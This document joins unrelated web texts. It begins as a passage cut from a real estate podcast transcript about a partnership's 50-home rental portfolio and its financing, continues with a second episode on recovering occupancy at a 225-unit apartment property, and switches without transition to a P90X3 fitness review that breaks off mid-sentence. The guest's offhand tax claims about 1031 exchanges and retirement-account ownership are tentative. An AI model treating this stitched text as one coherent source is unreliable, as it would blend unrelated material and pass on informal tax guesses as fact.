learn more about that; I’m writing it down, so we come back to it… The price originally was 1.1, and then it got lowered about 50k, so $1,050,000(ish)? Ratan Khatri: Exactly. Joe Fairless: Okay, so that’s about 22k/door. Ratan Khatri: A little over 20k, yes. Joe Fairless: Okay, a little over 20k/door. You only inspected 15-20, so less than 50% of the homes that you purchased, but it’s a million-dollar purchase, so what is your thought process there? Ratan Khatri: Well, we could have inspected every single property. We inspected what we thought would have been the worst ones after doing an exterior drive-by. We did drive by all of them, and then even though it’s 50 units, it’s actually 55 total occupiable units, because some of them are duplexes. So we went into the ones that on the exterior drive-by’s appeared to need the most maintenance, and so forth. All the rest of them looked really sharp, and they had longer-term tenants in them, and we only had a two-week window to do our due diligence… And we were satisfied. We’ve not had too many surprises. We planned on having to replace a few furnaces and we planned on having to do a few roofs just from the exterior… So so far there haven’t been any surprises, and the management company that we took on to manage them for us is doing an exceptional job. The portfolio just continues to improve in value, in quality of tenants and in quality of the properties. Joe Fairless: The down payment, (10%) is 105k. Did you three split that equally and get equal ownership? Ratan Khatri: Yes, we set up an LLC and we had one of our local attorneys who was also a friend of all of us drop an operating agreement. We set up a bank account, and we all three put in one third each, basically. My one third is actually me and my wife, and we did that through our retirement account. That’s one of the reasons we couldn’t touch the property, so we had to have a third-party management also for that reason. Joe Fairless: Okay. I was gonna get to that question that you mentioned about it, but you just answered… Okay, cool. So you each have 33.33% ownership in the deal, and you have equal say in what takes place, right? Ratan Khatri: Yeah, we have a meeting about once a month. We get a report from the management company, we review the maintenance costs, the evictions and so forth. Right now I believe of all the occupiable units we only have two that are vacant. The demand is very strong in our market, as it is in most markets, so we’re able to keep them more or less full. It didn’t start out that way, of course, but our cashflow the first month might have been like $15,000 or $17,000 and in the last couple of months it was in the mid-twenties, and at full capacity it should be about 30k/month. Joe Fairless: Is that income, or the net? Ratan Khatri: Top-line. Joe Fairless: Gross income, got it. Cool. It’s basically a partnership, so you did a joint venture with a couple friends, and you each put 33% in… As far as the business plan goes, you said early on it wasn’t as smooth as it is now; how much did you allocate to invest into these properties? Ratan Khatri: We have put everything that has come in back into the properties. All of us decided that we weren’t gonna take anything out until the portfolio was running satisfactorily and cash-flowing properly. We’ve only had it like seven months and we’ve all put in another 5k-10k/piece in since then for all the maintenance that was unfortunately deferred, and we have taken care of all of that stuff. This spring we’re gonna be putting on half a dozen or so roofs. Our estimation was it would take six months to a year to get the portfolio performing at the projected expectations. Joe Fairless: Okay. So you’ve put in 105k initially plus up to about 30k, so that’s 135k or so. For these new roofs are you out of pocket, or is that from the cashflow from the property? Ratan Khatri: Most of it should be from the cashflow from the properties. We don’t anticipate having another cash call, but sometimes you don’t know. Overall, each month the rents roll has increased and the collections have increased, and the quality of the tenants has increased, so the pay performance is getting better each month. Joe Fairless: Did you anticipate having the first cash call? Ratan Khatri: Yeah, we kind of expected it and we planned for it. We had a meeting and we said, “Hey, at the end of the month we’re gonna need 10k”, and we were able to take care of it… So it was not a surprise. Joe Fairless: With three people who have equal ownership and have put in the same amount, how do you determine who has the additional responsibilities, like overseeing the management company? You got seller financing, that’s pretty easy… But insurance is in place, and property taxes are paid – who deals with all that stuff? Ratan Khatri: Right. Initially, we found the insurance company, and the management company pays the insurance. The tax bills go to the management company and they actually pay them almost a month early. So the taxes are all current, and they handle the day-to-day issues. Then one of our partners – Steven, who I think you’re actually gonna be interviewing in the future, because he does the sheriff’s sales… He has taken the lead on communicating with the maintenance person at the management company, and when they have issues over — I think it’s either $500 or $1,000, they give Steven a call and Steven approves it. Joe Fairless: You said you might have not a home run, but a grand slam… What information can you share about that? Ratan Khatri: We had a broker from Grand Rapids, Michigan that we contacted, that had sold a similar portfolio in Lansing, Michigan, 60 properties for only 3.3 million. We contacted that broker to see if they had any buyers that missed out on that portfolio or maybe couldn’t afford that portfolio and are looking for something similar to that, and they indicated to us that yes, they did. We haven’t listed it yet, but we’ve been communicating with them and they have put a value of about 1.79 on this portfolio if we were to list it today. Joe Fairless: I’ll round up 1.8 million, and you’re all in about less than 1.2, I guess? Ratan Khatri: Yes. Joe Fairless: Yeah, so it’s like $600,000, and then you’ve got miscellaneous fees, and things… Ratan Khatri: Cash-on-cash it’s like five or six times. I haven’t done the math, because it’s not in our bank account yet. Joe Fairless: Not a real thing yet, yeah. It’s nice to have those projections, but then whenever it becomes reality — that’s great though, that’s a great sign. Ratan Khatri: It is, and the funny thing about having the three of us — myself, I was more optimistic about the value; I kind of thought that they were worth 40k/piece, and Steven was more pessimistic; he thought they were about 30k/piece. Then Gary, our third partner – he was in the middle, at 35k, and the real estate broker from Grand Rapids came in at a value of 36.5k average per unit… So Gary was closer, and I was too optimistic. Joe Fairless: Well, anytime you can take $35,000 and then multiply that by four or five in a span of 24 months, assuming everything pans out – bravo! Right? You take that. Ratan Khatri: Exactly, exactly. Again, having the three of us – it was kind of a unique situation. We’ve all done joint ventures before, we’ve all had partnerships before, and I kind of took the lead on this one. Steven initially didn’t wanna do it, but I twisted his arm a little bit. Gary was on board in two minutes, and it was a pretty simple deal. All of us have a lot of experience and we knew what we were getting into, so there’s no surprises in that sense, because we know the marketplace well, they’re all in our own backyard and we all own properties in our backyard. Joe Fairless: Would you cash out and pay the taxes, or would you do 1031? Ratan Khatri: Mine is gonna go back into my retirement account, so I won’t be affected. Steven is gonna probably do a 1031 exchange on his share, and Gary I think is gonna end up paying capital gains. Joe Fairless: How can Steven do a 1031 and you two not do it? Ratan Khatri: Well, we have the LLC, so we’re selling the LLC, and the proceeds that go back into the LLC should revert back to the entities that own the shares in the LLC. In my case, my Roth IRA owns it, so the funds will go back to my Roth IRA, because my share is owned by the Roth IRA. Joe Fairless: The entity that you currently have would need to be on title for the next deal, right? Ratan Khatri: Exactly. Joe Fairless: Got it. So you two would exit… One person would take the money and pay taxes, you would put it back in your account, and then the third individual who would 1031 would need to factor in you two exiting, because when he eventually sells, he’s gonna have to pay the taxes on the gains that would have been paid out for the whole entity right now, correct? Ratan Khatri: I don’t know all those details, Joe, but my best guess is that I know that I won’t be paying any taxes on it because my Roth IRA owns it, and the 1031 exchange part — because if we had made a profit on the first four months, which we didn’t, at the end of the year we would have received a K-1 for whatever proceeds that our each individual entity received from one third, and we would pay tax on our own one third. Joe Fairless: I’m guessing that’s what’s gonna happen, but have that person talk to a 1031 person, because basically the entity is gonna have to pay taxes on the whole gain eventually, whenever they stop 1031-ing… So people who exit out in between point A and point Z – there’s gonna have to be some sort of calculation of what those taxes would have been… Otherwise, when the music stops and there’s only one chair, the person with the property at the very end – 20 or 50 years down the road – has got a huge tax bill if they’re not preparing in advance. Ratan Khatri: I understand and I agree with you. They will have to look at that carefully. Joe Fairless: The 70-unit deal – how did you come across that? Ratan Khatri: Well, I was at the Grand Rapids Rental Property Owners Association conference last weekend, and they have what they call a deal room where people enter and talk about deals they want to sell, and deals they want to buy. All three of us were actually there at the conference, and then during two different deal room sessions, I had mentioned that we have this portfolio for sale and that I’m looking for more, and it was a realtor from Jackson, Michigan that said that there had been a landlord that owned 70-something units, and he had passed, and his son was having difficulty managing the properties… So she is going to get me the information, and once I have the information, I’ll evaluate the deal and do the due diligence and see if it makes sense to pursue further. Joe Fairless: Is this the same meetup that you got the first deal from? Ratan Khatri: No, the first deal was from the Landlord Association that meets in Muskegon, Michigan; I’m a member of that and I do frequently the seminars that teach [unintelligible [00:17:31].26] different landlords, different things, and as I have a management company, I’m exposed to more experiences and more situations that occur… So I share those monthly at the Muskegon meeting. The Grand Rapids association is a much larger association, and they put on a convention once a year [unintelligible [00:17:51].14] Grand Rapids, Michigan; that’s a very nice conference, and they have national speakers come in… During the breakout sessions, one of them is the deal room session (breakout session) [unintelligible [00:18:02].04] from Grand Rapids. Joe Fairless: Do you remember how much the ticket was to the Grand Rapids conference? Ratan Khatri: It’s free. Joe Fairless: Free. So you went to this Grand Rapids Conference and you might get a deal from it, and then you attended the local landlord association meetup in Muskegon, Michigan, and you did get a deal from that… Ratan Khatri: Yes… Joe Fairless: There’s a theme here, clearly… We should all attend our local meetups, first off. But secondly, when the individual – the gentleman who had the portfolio of the 50 homes – stood up and said “Here’s what I’ve got, here are the terms”, how many people went up and talked to him? Ratan Khatri: Well, he was in Florida actually, and one of his friends had handwritten copies stapled together of the portfolio; it was nothing formal, and the gentleman just put the five or six copies on the table. I grabbed one, Gary (one of my partners) grabbed one, Steven had already heard about it during the day earlier and I already had spoken to the gentleman while he was on the golf course in Florida, and was asking if he could split up to two different cities that the portfolio was in… Both cities are adjacent to each other, but Steven didn’t want 15 of the properties, and the gentleman said “No, it’s all or nothing.” So Steven had originally passed on it, but I twisted his arm in the next day and we ended up doing the deal. Joe Fairless: So what I heard is someone put five or six copies on the table and you and your crew took all those six copies so no one else could bid on the deal? Ratan Khatri: No, no… Joe Fairless: [laughs] I’m kidding, I’m kidding… Ratan Khatri: [laughter] But the answer to your bigger question is many other people were not interested. We’re in a smaller town, and unfortunately many of those landlords still wanna self-manage, which I’ve always tried to educate people on where that’s not a good idea and why they’re just creating a job for themselves. My management company — the reason I was at the Grand Rapids conference is I had actually a booth there to promote my management company and promote the city of Muskegon as where the deals are, because Grand Rapids (like many other markets) has grown substantially, and price points are higher than ever, rents are higher than ever, and the cap rates are in the fives and the sixes now, and just the deals just aren’t there. So Muskegon is 30-45 minutes down the road and you can still find exceptional values and exceptional cap rates, and sometimes even you can find terms. Not a lot of people jumped at that portfolio, and for us and for our experience that all three of us partners have, it was kind of a no-brainer. Joe Fairless: Would someone without the experience in your market be able to pull that off? Because you hired a different third-party management company, so it’s not like you were the one on the ground in this case… So could a New York City investor – if they heard about this deal, could they have pulled it off, too? Ratan Khatri: Absolutely. I manage for many people from California, and I have a group out of California that I manage 67 of their properties for them inside my management company… So yes, we have a lot of out of state investors that find fabulous value in the city of Muskegon; I think sometimes when you’re too close to the market you kind of have a negative view of it. Cashflow is fabulous, and I saw no reason not to do it. If these two guys hadn’t wanted to do it, I would have found three other guys that would have wanted to do it. Joe Fairless: Next time give me a call, please. [laughter] Ratan Khatri: I certainly will, I’ll take you up on that. Joe Fairless: What is your best real estate investing advice ever? Ratan Khatri: I think I have a couple different points, if I may. Number one – if you’re a beginning landlord, do not do it yourself; hire the management company. My company – we have a flat fee… We charge $60/month, and it’s well worth every penny, so that the beginning landlord doesn’t have to go and do everything themselves. If the property is a turnkey property, you shouldn’t have to do anything. So that’s one piece of advice – don’t do it yourself, hire a management company. The overall advice really would be to just jump in and do it. Too many people sit there and analyze things to death, and they miss out on so much opportunity. That’s one of the things we talked about, how immigrants succeed here, and how they think a little bit differently and how they see opportunity, whereas other people just wanna analyze it, analyze it, and have other things that they wanna do with their investments. Joe Fairless: And you’ve got a book – did you finish your book? I know you were writing a book about what you just talked about – immigrating here and having success. Ratan Khatri: Yes, the book is written. I’m in the process of editing it and making it more readable and more saleable. I won’t give it a title right now, but I will give it a subtitle: to succeed in America, you have to think and act like an immigrant. The basic things are being frugal, saving, and then turning those savings into investments and assets, and then having those assets produce cash for you to live off of. The more you do of that, the more you’re going to have coming in passively. Joe Fairless: We’re gonna do a lightning round. Are you ready for the Best Ever Lightning Round? Ratan Khatri: Absolutely, let’s go for it. Joe Fairless: Alright. First, a quick word from our Best Ever partners. Break: [00:23:25].11] to [00:24:30].23] Joe Fairless: Best ever deal you’ve done? Ratan Khatri: The best deal would be this 50-unit portfolio. The back-end return on that is just gonna be awesome, and I’m gonna parlay that into hopefully more and larger deals. Joe Fairless: Best ever book you’ve read? Ratan Khatri: I’ve read many books, I’m an avid reader. One of the first ones that I read about real estate was written by a gentleman named Wade Cook, it was called Real Estate Money Machine. And of course, Rich Dad, Poor Dad, and Lowry’s books… All the old gurus that originally started this business – I’ve read all of their books and I apply many of their principles to this day. Joe Fairless: What’s a mistake you’ve made in business or on a transaction? Ratan Khatri: The commercial building that I’m presently in – I bought that and had it built at the peak of the real estate business (before the crash), and unfortunately it’s still mostly vacant, and I’m carrying the load… That was probably my biggest mistake in real estate. Joe Fairless: If you were presented a similar opportunity again, how would you approach it? Ratan Khatri: I would have either wanted to pass on it completely, or I would have to have it pre-leased before I committed to buy it and have it built. Joe Fairless: Best ever way you like to give back? Ratan Khatri: I have a friend of mine in Muskegon – her and I, we put together this house… It’s a 7-bedroom 3-bath house, and it’s called The Patriot House, if anybody wants to do a search on it. I went to a breakfast meeting one day and they said there’s a major homeless veteran’s problem in Muskegon County… So when this house came up, I decided I was [unintelligible [00:25:58].23] for housing some of the homeless veterans. We provide all of the utilities, and laundry, and internet, and cable, and beddings, and furnishings, and they pay a minor amount of rent, because they can’t afford a house on their own or apartment on their own. We provide housekeeping services, laundry on site… I love this country, and my way of giving back is to help some of the veterans that need help. Joe Fairless: How can the Best Ever listeners get in touch with you? Ratan Khatri: We have our website for our management company, it’s rkpmgt.com. Also, they can call me directly on my cell, which is 231-206-1181. I’m also on LinkedIn. Joe Fairless: Ratan, thank you so much for being on the show and talking to us about this case study, the 50-home portfolio, which is actually more units than 50 – what did you say, 56? Ratan Khatri: 55 total. Joe Fairless: 55 total livable units; 50 homes. The business plan, how you found out about it at the local Landlord Association, the partnership structure that you ended up doing, and how much you’ve put into it, where that’s gone, and the projected value right now, along with those returns, based on selling it at that value… So thank so much for being on the show and talking about that, as well as your overall approach. I’m looking forward to reading the book myself whenever your book comes out. I hope you have a best ever day, and we’ll talk to you soon. Ratan Khatri: Thank you very much, Joe. I really appreciate it, and best wishes and success to you.

Twelve years ago, Ashley and her husband started looking for investment strategies other than the stock market. They started with a few short-term and long-term rentals, eventually expanding to single-family units with historical background and multifamily units. Before she formed a company of her own, she was a partner with another investor on a 225-unit multifamily property. Despite having a solid business plan, the company lost 120 people within the first ninety days through evictions and skipping. Ashley tells how she managed to turn around the sticky situation and raise the occupancy to 90% even with Covid-19 as a backdrop. Ashley Wilson Real Estate Background: - Full-time real estate investor - 10 years of real estate experience - Portfolio consists of 600 units - Based in Philadelphia, PA - Say hi to her at: Best Ever Tweet: “The name of the game is to increase your equity.” – Ashley Wilson TRANSCRIPTION Theo Hicks: Hello, Best Ever listeners, and welcome to the Best Real Estate Investing Advice Ever Show. I’m Theo Hicks, and today we’ll be speaking with Ashley Wilson. Ashley, how are you doing today? Ashley Wilson: Great. Thank you for having me. Theo Hicks: Thank you for joining us. Looking forward to our conversation. This is Saturday, so we’ll be doing a Situation Saturday episode; we’ll talk about a sticky situation that Ashley was in, how she got into it, how she’s out of it and then what lessons she learned. Before that, let’s go over Ashley’s background. She’s a full-time real estate investor with 10 years of experience. Her portfolio consists of 600 units. She’s based in Philadelphia, Pennsylvania, and her website is. So, Ashley, do you mind telling us more about your background and what you’re focused on today? Ashley Wilson: Sure. So about 12 years ago my husband and I started to look for alternative investment strategies. We weren’t firm believers in the stock market, and we both were doing very well professionally. I worked in clinical research and development. Ironically, I worked for about five years in vaccine development, and part of that time was on seasonal and pandemic flu. So closely related to what we’re doing today. But my husband was a professional ice hockey player, so we both made pretty good money very early on in our careers, and we were trying to figure out where to place that. We stumbled on BiggerPockets about 12 years ago and started educating ourselves all about real estate. At the time, we didn’t know we would become full-time real estate investors, but that’s exactly what happened. So we started with a few short-term and long-term rentals. We’ve house-hacked, we’ve Airbnb’d, we’ve invested in Notes. My father and I co-founded a house flipping company 6 years ago, which we still do today, and we focus primarily on older homes, historic homes, full gut rehabs and high-end homes. So that’s kind of our niche in the Philadelphia suburbs, and that’s our single-family business. And then in multifamily, once my husband retired 3 years ago, we moved back from Europe in Russia, where he ended his career, and we started our multifamily business. And today I manage asset and construction management on those projects. We started our own company of acquiring large multifamilies. So that’s what we do today. Theo Hicks: Are those 600 units for multifamily, or is that across all properties? Ashley Wilson: Nope, that’s just multifamily. Theo Hicks: Perfect. So as I mentioned, Best Ever listeners, we’ll be doing a Situation Saturday, so the sticky situation is about inheriting a tough tenant base, and then how to handle that situation when you buy a property that has a tough demographic base. So walk us through the acquisition of this property, or if it’s a specific deal or just your business plan in general, and then why you decided to pursue these types of opportunities and then we can go into tips on turning over the demographic. Ashley Wilson: So before we decided to create our own company, I was originally partnering with other general partners, so they would bring me on to do asset and construction management and lead their projects. And this particular example is that situation where I was asked to partner with this group and manage the project both on the asset and construction management side of it. So I wasn’t involved in the due diligence process, I came in right before close. And to that effect, when I came in, I was given a business plan in which they wanted to execute. Now, I had done my own research on the due diligence of the market and the ability for that property to perform based on their underwriting, and I had seen that it could perform that way based on my own underwriting and due diligence. So I wasn’t going in completely blind. But once we acquired the property, what I quickly realized is that the business plan that they had outlined of renovating these units— so it’s a 225 unit property, and we are going to renovate 80 of these units over three years and then refi in year four was not feasible. So for starters, we had 120 people leave the property by way of either skipping or evicting them. So that’s not even inclusive of non-renewals in the first 90 days. To put that in perspective, on average, a market benchmark is that you’ll have a 50% renewal rate. So across the 225-unit property, over the course of six months of a 225-unit property, you would have approximately 112.5 people vacate, just because they’re non-renewals in a standard market. So the fact that we had 120 people leave just because of evictions and skips in 90 days was detrimental to the overall operations of the property. From there, when we looked to take back these units, what we realized is they had been not loved and cared on by the previous ownership group for a very long period of time. And to that point, the cost of turning these units was costing us more than if we were to renovate them and capture the premium. So it made more sense to change the business plan and execute it in a very fast-paced manner, so that we could use the renovation as a capital expense, put it below the line, speed up the process of renovating and capture those premiums sooner. So to that effect, we depleted the occupancy to 64.4% in mid-August of 2019. And it took a very, very long time to build up that occupancy. In fact, we actually just reached 90% occupancy two weeks ago on that property. So we’ve been able to achieve that all during COVID. And the reason why we’ve been able to achieve this is because we took a very slow, methodical process in making sure that we put the correct tenants in place on the property. We didn’t sacrifice and create another situation where we would be then just having people leave out the back door because they couldn’t afford the property, they weren’t screened correctly, their income-to-rent did not match… So we still kept the threshold at a 3.0 when most people would probably have dropped it 2.0 or 2.5 or 2.7, because of being at 64.4% physical occupancy – I’m not even talking economic – can be very detrimental on the overall operations and economics of the property, to be able to sustain all the expenses. But we took a very deliberate approach, and by doing so, just to give a highlight, since March of 2020 – so that’s when we consider the start of COVID impacting our tenants, right? And I think most of the country would agree to that point, where unemployment got hit – to today, we’ve had a month-over-month build versus collected rate of 99.52% across the entire property, while continuing to build occupancy. And our concession that we’re offering to move in is actually less than what it was months ago. We’ve actually decreased our concession. So there are a lot of things that we’ve done really, really well on the property, not only to attract new tenants, but also to keep the tenants that we have. And it’s because of that, I think we’re in the situation that we’re in today, while a lot of other properties may be in a completely different situation. Theo Hicks: Well, thank you for going in a lot of detail on that, I really appreciate that. So I kind of want to go back and ask some follow-up questions… And the first one would be, you said that the original business plan was to renovate the 80 units over a three-year period, and then refinance in year four, and then after, you said, the first 90 days, 120 people left the property. So I have a question for you – was that something that was just impossible to know upfront? Or should it have been something that the GPs should have known? And if so, what did they not do, that they should have done to realize that this would have happened? Ashley Wilson: There are a lot of things that could have been done upfront to have captured this. First of all, I always put when we close on a property that we get a final walkthrough comparable to residential real estate. So in residential real estate it is commonplace to do a walkthrough within 24-48 hours of closing. And I put that on commercial real estate. The great thing about commercial real estate is it’s the wild wild west; there’s no set contract. You can create whatever contract you want and you can have it with whatever terms you want. So we always do a final walkthrough prior to closing, and that was missed on this one. So there could have been a final walkthrough on the property, it could have been inclusive of going to the property during the daytime and looking at the car count; you could have identified that that property wasn’t occupied to what they were reporting it as, [unintelligible [00:12:02].13]. Coupled with the fact that you could pull delinquency reports and see how much was delinquent, whether or not they put on record that they filed evictions or that these units were actually vacant, they were skipped prior to that. So you can also look at when you do a file audit and look at the qualifications of the residents. So for example, on a property that we just purchased a month ago, during due diligence, we identify the current tenant base can actually afford more than what we’re pushing our rents to, and we’re pushing our rents on that property by over $300, and our current tenant base, our average tenant can afford that. We were concerned about having to change over the tenant base. Well, we might not even have to do that on that particular property. That’s a different property. But there’s an example of how you can QC your tenant files and verify income, verify their qualifications, verify they did a background, verify that there’s a security deposit; all of these different things, and you can cross-check that. You can also go through an estoppel agreement and get verification from the tenant themselves to make sure and have all the tenants go around the entire property. There’s a great way in which you could identify it, because the tenant wouldn’t even be in there to sign off on it. So there are a lot of different things that you can put into place to have identified this, and this was definitely, I believe, a lesson learned for all GPs on this one. Theo Hicks: What’s the thought process behind going during the day to look at the car count? Ashley Wilson: Right now, for example, most people are working from home… So going during the day and going in the evening, you can see whether or not you have tenants who are night shift workers or day shift workers, and you can see from a car count on the property. Now, of course, there could be cars that are sitting there that someone else is just keeping the car on the property. But ultimately, a lot of times on the list is — you’re going to have a cross-check of… It depends on the market, but a lot of times cars have to be registered to be on the property, so you can identify it that way. Whether or not they’re working, whether or not they’re even there, if they’re not there in the morning, they’re not there at night, where are they? Maybe they’re on vacation, maybe they’re somewhere else. But if you check it in a couple times, you’re going to see that maybe that current ownership never filed eviction, and it’s really skipped and it’s lying on the rent roll, which is honestly pretty commonplace in this industry… So unfortunate as it is, you’re buying properties as is, besides outright fraud, but it’s on you to really identify these discrepancies. Theo Hicks: That last thing we talked about getting verification from the tenants themselves – what was that called? Ashley Wilson: It’s called an estoppel agreement. Theo Hicks: Estoppel agreement? Ashley Wilson: Estoppel. Theo Hicks: Oh, estoppel agreement. I’ve never heard that before. Interesting. Ashley Wilson: More so, you’ll hear it used when you’re verifying rent. So for example, if you want to confirm that an ownership group isn’t lying on the rent that that person is being charged, it’s a form that the tenant would sign off to say, “Yes, these are the conditions in which I’ve signed my lease agreement.” So let’s say for example, on the rent roll it says that they’re collecting $800 for unit 1B, but you get an estoppel agreement and you have the tenant sign off on it and the tenant signs off that they’re paying $650. Well, they’re not going to write that they’re paying $800, because they know when you come in, you’re going to charge them $800. They’re going to write what they believe the terms of the contract to be. So if the ownership group has falsified a lease contract and forged signatures or attached another form onto an existing contract and it says that it’s $800, or if there’s any sort of mismatch, you can always verify that with a tenant. Theo Hicks: Got it. Ashley Wilson: It’s a legal document. Theo Hicks: Okay, so the next thing you talked about was that once these units were vacated, whether it’s through skipping or evictions, when you went into the units, you realized that the cost to turn them was more than the cost to renovate them. And you said that the plan to go in there was to do 80 units, and that 120 units were vacant. And the plan was to do that over three years. So where did the money come from to do these renovations? Ashley Wilson: Well, we had a construction loan anyway. So this was a bridge lending situation. We have a bridge loan on the property and a construction line. So the line was already there to do the renovations, it’s just we were going to space them out further. And this gets to as an asset manager and a construction manager, why you should really be heavily involved in the process. This is not a blanket, “I’m going to renovate every single unit.” This is an algorithm in which I’m making the determination based on the cap rate in the market, based on the cost of that renovation, to identify — and also the premium I can get on that unit, to identify whether or not I’m going to renovate that unit or another unit. There are other things to take into consideration, for example, the demand of that particular unit style. But ultimately, you don’t want to have this just left up to your property management company to pick and choose, because what if they choose the unit that costs $10,000 to renovate and it’s $100 premium, when you could have chosen the unit that costs you $3,000 and it’s a $90 premium. Those are types of situations in which you really should be overseeing and managing so you can make the determination… Because ultimately, a lot of people think the name of the game is to increase your evaluation. The name of the game is not to increase your evaluation, it’s to increase your equity. And by increasing your equity, you have to always keep in mind the ROI. Theo Hicks: Got it. So you didn’t renovate all those units; it’s more of like a calculation based off of all those stuff you’ve mentioned ti determine which of those units that actually makes sense from an ROI perspective to renovate based off of — including what that construction line was, right? Ashley Wilson: Correct. Theo Hicks: Got it. So something else you mentioned too was that rather than getting yourself in the same situation again, with putting in whoever into the units, you methodically focused on getting the right high-quality type of resident, again, so that you wouldn’t face that same situation again. You mentioned there’s a lot of things that you did to increase that occupancy; you said occupancy was as low as 66.4% and it reached 90% recently. So what are some of the things that were done to increase the occupancy and then to make sure that the people that moved in were of a high quality? Ashley Wilson: So it’s really twofold, what you’re trying to do is you’re trying to stop the people exiting out the back door and you’re trying to attract people more in the front door. So to tackle it first, on stopping the people exiting the back door, you need to have incentives, you need to have a good property management team, you need to show value in the community. One thing that we do is we contact our residents on a weekly basis during this COVID situation for two reasons. One is to check on their general welfare – we’re not straight up asking them whether or not they have COVID, but we’re checking on their general welfare; and two, is to see whether or not they’re still employed or if they need help filing for unemployment. By helping someone file for unemployment, it allows them to get their unemployment sooner and be able to pay their rent sooner. So that really provides an added benefit. The second thing that we do with our current tenant bases if they do fall on hard times, we try to work with them and set up a payment plan so that they can stay on track. Ultimately, if they take the responsibility and come to us and set up a payment plan, especially during this very unique, troubling situation, we’re willing to work with them and figure out a way to make it work. If they’re going to ignore us and not work with us, then ultimately, it’s on them. There’s not much more we can do. But we’re willing to work with all of our tenants if they’re willing to work with us. So showing that value and showing that you care it goes a long way. We also offer incentives from time to time with renewal bonuses; we also do a referral bonus too. But we do a renewal bonus to help people get some value. And when COVID first started, what we did – as well as we incentivize people to pay early; so we incentivize them by doing a raffle. So one or two people in the property would get a discount off of their next month’s rent by paying early. What we believed is having someone pay early, especially when we didn’t know if they would fall on unemployment, that it would cover their rent, it would cover them being able to stay at the property, as opposed to them not having a roof over their head to be able to figure out if they do get unemployed what they need to do next. So we’re trying to help them out by keeping their housing situation confirmed. With respect to attracting a new tenant base, we do a lot of different things. One thing that we do is we really make sure that our marketing efforts are not let up because of it. What we’ve realized is that there are going to be less people in the markets looking for a property, so it’s more important than ever to capture as many people that are looking for a new place to call home. And what we do is we continue to market, we continue to have our property look very nice and clean, and put in a lot of different amenity services that are helpful, and create less person-to-person contact. So for example, doing electronic showings, being able to virtually tour the property, being able to sign a lease agreement online – everything electronic, so that it makes their life easier, they have less stress if they need to move, and then we’re able to do everything electronically. We also too have put incentives in place as well through concessions to encourage people to come into our property. Crazy enough, our concession is not even close to being the most competitive in the market; I wouldn’t even say we’re at the 50% marker either. I think we’re on the lower tier in terms of what we’re offering concessions. But what we do is we continue to reach out to businesses, we continue to make it known that we are trying to help as a community, to help the greater community. So we work with different small businesses. So for example, we’ll contact a pizza shop and say, “What’s your slowest business day?” Especially these small businesses are hit hard, so what we do is we say to them, “Okay, Tuesday’s my slowest day.” “Okay, well, could you offer our community $5 off on Tuesdays if they order pizza from you?” “Yes, we can.” Well, then we pass that savings on to the residents and say, “Hey, if you order from so and so’s pizza place, you get $5 off on Tuesdays.” That way, it allows that business to stay in business by providing value to our property, because we can negotiate on behalf of a larger group. So all the things that we’re trying to do is really to benefit our community and help the community through a really troubling time. And I think because of all of those things and the support that we’re providing for the larger community, the word gets around. So for example, the permit office is recommending people, our EMT companies, our police department, they’re all recommending our property, and I think it’s because of all the work that we continue to do. We are still touching base with the humane societies and schools to do school drives, and food drives, and toy drives. These are all things that are important within the community, and we’re still leading those charges. And then also too, just one last quick thing is on communication with emergency work order calls; we’ve made it known very early on that to protect not only them but to protect our team, we want to limit interaction between everyone. So what we’re doing is handling only emergency work orders right away, and the other work orders will be handled on a case-by-case basis. But as much as possible, we want to limit the direct contact to protect everyone. So I think providing that communication, always staying in communication and trying to help people when they’re in need sounds so common sense, but a lot of people just get lazy about it and they don’t execute on it. Theo Hicks: Thank you for sharing all that. One last question I had – something you said at the very end of your first thing that you were talking about, you said something about 3.0 versus 2.5… What was that factor when you’re looking at new residents? Ashley Wilson: That’s the income to rent. So typically what you’re looking at – so you’re making sure that their income is, at minimum, 3x whatever the rent is. And I know a lot of people when they get in situations where their occupancy is depleted, they’ll take a shortcut and drop that to a 2.5, and they’ll put a bond on, or some other double security deposit; they’ll try to find some other way in which that they make up for that risk. We’d actually put that on, but put it on at the 3.0. So we use a program that helps provide some assurance to us, and it works with someone who’s not able to put a lot of money down on a security deposit, but they still qualify otherwise, but at least that provides some insurance for us too, especially during these challenging times. Theo Hicks: Got it. Alright, Ashley, is there anything else that you wanna mention about asset management or your company and where people can learn more about you before we sign off? Ashley Wilson: You can link to all my companies at that and you can follow me on Instagram @badashinvestor. So I cover all different types of real estate on Instagram and on my website, you can link off to my multifamily company which is called Bar Down Investments from there, and then I have other companies as well you can link to. Also too, I just co-authored a book called ‘The Only Woman in the Room’, and it was released in the middle of September, and within 24 hours became an Amazon bestseller. I highly recommend anyone who is in real estate, who wants to be inspired by 19 other women in all different asset classes, all different backgrounds to check it out. So it’s called ‘The Only Woman in the Room: Knowledge and Inspiration from 20 Women Real Estate Investors.’ Theo Hicks: Well, congratulations on the success of the book. As a co-author of a few books myself, I understand it’s a long process to write books. So I understand completely. But yeah, thank you so much for coming on. I don’t get to talk about asset management as much, so I appreciate you going into a lot of detail, specifically on that deal, but also kind of what your philosophy is on asset management in general. Lots of great advice. You talked about some of the best practices for doing due diligence before closing, you talked about the final walkthroughs, looking at car counts, pulling various reports… You talked about the algorithm or the way you approach determining which units to renovate; it’s not just every unit that’s vacant you renovate. It is very detailed and data-driven. And then you went into a lot of detail on how you are able to maximize economic occupancy by focusing on the two main aspects of stopping people from leaving, and then attracting new people, and you went through examples for all of those. So thank you so much for joining us today. Again, her website is so check out her website..

P90X3 Review - 17 Things You Need to Know We hear a lot of buzz about P90X3 by Beachbody, so we did an in-depth review, examining the scientific research, cost, and customer service level behind the P90X3 program. Also, we focused on many user comments posted online. Finally, we condensed this information to give you the bottom line and the information you need to decide on P90X3. P90X3 can be purchased through their Official Site. What is P90X3? P90X3 is a total-body workout system that requires 30 minutes a day. This fitness program claims to get you ripped and help shed pounds of fat. The exercise DVDs include 6 Muscle-building Resistance, 3 Cross-Training Power, 3 Fat-Burning Cardio, 4 Core, Flexibility, and Balance. P90X3 is the third version of the extremely-popular home workout program.. Although the program sold well, it was not nearly as popular as its predecessor. P90X2 focused on core strength, functional fitness, and scientific training principles. Beachbody released P90X3 in December 2013. Like its immediate predecessor, P90X3 pushes the home fitness industry in a new direction. This time, it’s about shortening the length of the workouts while maximizing intensity. P90X3 operates on the premise of “muscle confusion”, meaning that there is constant variation in the workouts and the demands placed on the body. While some exercise programs are based on principles such as Progressive Overload, in which greater and greater demands are placed on a muscle group or energy system, P90X3 is predicated on forcing the body to adapt to new challenges continuously. We found no clinical research on muscle confusion, but we did find some on high-intensity workouts – most of which pertained to the impact on cognitive function. - European Journal of Neuroscience – There’s evidence suggesting high-intensity exercise, when performed before memory-related tasks, improved 